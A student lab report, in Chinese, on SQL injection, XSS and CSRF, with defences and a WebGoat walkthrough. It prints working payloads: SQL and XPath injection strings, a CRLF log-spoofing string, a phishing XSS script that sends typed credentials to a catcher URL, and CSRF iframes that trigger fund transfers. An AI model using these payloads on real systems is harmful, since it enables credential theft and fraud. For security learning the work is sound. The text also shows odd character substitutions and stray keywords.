Exp9 web安全基础

1.SQL注入攻击原理,如何防护?java

      定义:SQL注入便是指web应用程序对用户输入数据的合法性没有判断,攻击者能够在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,以此来实现欺骗数据库服务器执行非受权的任意查询,从而进一步获得相应的数据信息。web

SQL注入产生的缘由,和栈溢出、XSS等不少其余的攻击方法相似,就是 未经检查或者未经充分检查用户输入数据意外变成了代码被执行。针对于SQL注入,则是用户提交的数据,被数据库系统编译而产生了开发者预期以外的动做。也就是,SQL注入是用户输入的 数据,在拼接SQL语句的过程当中,超越了数据自己,成为了SQL语句查询逻辑的一部分,而后这样被拼接出来的SQL语句被数据库执行,产生了开发者预期以外的动做。

如图简要说明:正则表达式

 

●SQL注入威胁表现形式能够体现为如下几点:sql

        ●绕过认证,得到非法权限数据库

        ●猜解后台数据库所有的信息django

        ●注入能够借助数据库的存储过程进行提权等操做编程

●SQL注入攻击的典型手段浏览器

        ●判断应用程序是否存在注入漏洞安全

        ●收集信息、并判断数据库类型服务器

        ●根据注入参数类型,重构SQL语句的原貌

        ●猜解表名、字段名

        ●获取帐户信息、攻击web或为下一步攻击作准备

如何防范:

因此从根本上防止sql注入,仍是避免数据变成代码被执行,时刻分清代码和数据的界限。而具体到SQL注入来讲,被执行的恶意代码是经过数据库的SQL解释引擎编译获得的,因此只要避免用户输入的数据被数据库系统编译就能够了。

如:

  1. PreparedStatement
  2. 使用正则表达式过滤传入的参数
  3. JSP中调用该函数检查是否包函非法字符
  4. JSP页面判断代码
  5. 字符串过滤

二、XSS攻击的原理,如何防护?

xss 跨站脚本攻击(Cross Site Scripting),为了避免和层叠样式表(Cascading Style Sheets,CSS)缩写混淆,因此将跨站脚本攻击缩写为xss。

整体来讲,XSS分三类,存储型XSS、反射型XSS、DOM-XSS。

 

存储型XSS

存储型的攻击脚本被存储到了数据库或者文件中,服务端在读取了存储的内容回显了。就是存储型。这种状况下用户直接打开正常的页面就会看到被注入
流程以下:
坏人把恶意的XSS代码提交网站--->网站把XSS代码存储进数据库--->当页面再次被其余正经常使用户请求时,服务器发送已经被植入XSS代码的数据给客户端--->客户端执行XSS代码



反射型XSS

将用户输入的存在XSS攻击的数据,发送给后台,后台并未对数据进行存储,也未通过任何过滤,直接返回给客户端。被浏览器渲染。就可能致使XSS攻击;

反射型XSS,是最经常使用的,使用最广的一种方式。经过给别人发送有恶意脚本代码参数的URL,当URL地址被打开时,特有的恶意代码参数呗HTML解析、执行。
它的特色:是非持久化,必须用户点击带有特定参数的连接才能引发 

DOM-XSS

DOM-based XSS漏洞是基于文档对象模型Document Objeet Model 的一种漏洞。DOM是一个与平台、编程语言无关的借口,它容许程序或脚本动态的访问或者更新文档内容、结构和样式,处理后的结果可以成为显示页面的一部分。DOM中有不少对象,其中一些事用户能够操做的.客户端的脚本程序能够经过DOM动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而从客户端得到DOM中的数据在本地执行,若是DOM中的数据没有通过严格的确认,就会产生DOM-based XSS漏洞。

防护手段:

xss的防护

如今的XSS如此流行,缘由何在。我想你们应该都知道,就是在输入的时候没有作严格的过滤,而在输出的时候,也没有进行检查,转义,替换等
因此防范的方法就是,不信任任何用户的输入,对每一个用户的输入都作严格检查,过滤,在输出的时候,对某些特殊字符进行转义,替换等

3.CSRF攻击原理,如何防护?

(Cross Site Request Forgery, 跨站域请求伪造)是一种网络的攻击方式,它在 2007 年曾被列为互联网 20 大安全隐患之一,也被称为“One Click Attack”或者Session Riding,一般缩写为CSRF或者XSRF,是一种对网站的恶意利用也就是人们所知道的钓鱼网站。尽管听起来像跨站脚本(XSS),但它与XSS很是不一样,而且攻击方式几乎相左。XSS利用站点内的信任用户,而CSRF则经过假装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击每每不大流行(所以对其进行防范的资源也至关稀少)和难以防范,因此被认为比XSS更具危险性。

防护:

在业界目前防护 CSRF 攻击主要有三种策略:验证 HTTP Referer 字段;在请求地址中添加 token 并验证;在 HTTP 头中自定义属性并验证

实验过程:

第一阶段

  • 1.首先咱们来安装一个学习系统Webgoat。在百度云上下载压缩包,而后拷入kali中,并在压缩包目录中使用java -jar webgoat-container-7.1-exec.jar这条指令。

 

而后打开火狐浏览器

就像攻关同样能够联系左侧的题目,英文很差的自备翻译软件:

String SQL Injection(字符注入):

 

 

而后根据文本框下面的数据库语言,咱们在文本框中输入'or 1='1,即在数据库语言中造成了名字=''(空集,即全部)or 1=’1(永真式)的判断,结果是会显示全部的用户信息。

Log Spoofing(日志欺骗):

 

咱们构造一个恶意的字符串

xm%0d%0aLogin Succeeded for username: admin

复制到user name 文本框中,密码随意输入,即可登录admin。

XPATH Injection(XPATH注入):

输入xm' or 1=1 or 'a'='a和xm,而后能够看到攻击成功

 

 

LAB: SQL Injection

使用数据库注入来绕过身份验证,即不须要密码就能够登录。

使用用户Nevile进行登录,注入的代码’or 1='1

Numeric SQL Injection(数字数据库注入)

XSS

Phishing with XSS

  • 跨站脚本攻击,在表单中输入超文本代码XSS能够劫持用户的浏览器,任意构造用户当前浏览的HTML内容,模拟用户当前的操做。这里实验模拟获取用户名和密码的攻击在文本框里面输入一个钓鱼网站代码</form>

</form>
  <script>
function hack(){ 
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " +                         document.phish.pass.value);
} 
  </script>
<form name="phish">
<br>
<br>
<HR>
  <H2>This feature requires account login:</H2>
<br>
  <br>Enter Username:<br>
  <input type="text" name="user">
  <br>Enter Password:<br>
  <input type="password" name = "pass">
<br>
  <input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
 

 

 

 

 

Stored XSS Attacks

目的是建立非法的消息内容,能够致使其余用户访问时载入非预期的页面或内容

在Message中构造语句<script>alert("you are a bad guys");</script>,提交后,能够发现刚刚建立的弹窗

 

Reflected XSS Attacks

 

Cross Site Request Forgery(CSRF)

目的是发送一个恶意URL请求的图片给用户。在message框里输入一段文字,文字里包含了恶意图片。

 

 

CSRF Prompt By-Pass

 

在信息框中输入:

<iframe src="attack?Screen=src290&menu=menu900&transferFunds=5000"> </iframe> <iframe src="attack?Screen=src290&menu=menu900&transferFunds=CONFIRM"> </iframe>

 

 

实验体会:

深入觉的本身对与web的知识了解甚少,基础知识有待提升。。。。

相关文章
相关标签/搜索